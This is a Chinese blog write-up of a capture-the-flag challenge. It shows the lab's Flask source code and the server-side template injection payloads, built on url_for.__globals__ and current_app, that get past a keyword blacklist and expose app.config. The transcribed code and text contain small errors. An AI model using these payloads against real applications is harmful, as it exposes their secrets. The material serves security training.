BUUCTF[WesternCTF2018]shrine 1

考点:

  1.ssti注入

  2.python内置函数

进入靶场:

import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
    return open(__file__).read() \
@app.route('/shrine/')
def shrine(shrine):
    def safe_jinja(s):
            s = s.replace('(', '').replace(')', '')
            blacklist = ['config', 'self']
            return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s # .format连接字符串
    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
        app.run(debug=True)

为python的flask框架

测试/shrine/路由下的ssti

payload:/shrine/{{8*8}}

发现存在ssti漏洞。

分析源码:

app.config['FLAG'] = os.environ.pop('FLAG')

注册了一个名为FLAG的config,猜测flag在此config中,若不存在过滤,可以使用{undefined{config}}查看app.config中的内容,

但此题设置了黑名单

blacklist = ['config', 'self']
            return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s # .format连接字符串

将黑名单中的字符串替换为空

在这要用到python的内置函数:url_for 和 get_flashed_messages

payload:/shrine/{{url_for.__globals__}}

发现Flask app对应的是current_app.猜测current_app就是当前的app。

得到app的config

payload:/shrine/{{url_for.__globals__['current_app'].config}}

得到flag。

posted @ 2022-01-07 11:16  LoYoHo00  阅读(182)  评论(0编辑  收藏  举报
levels of contents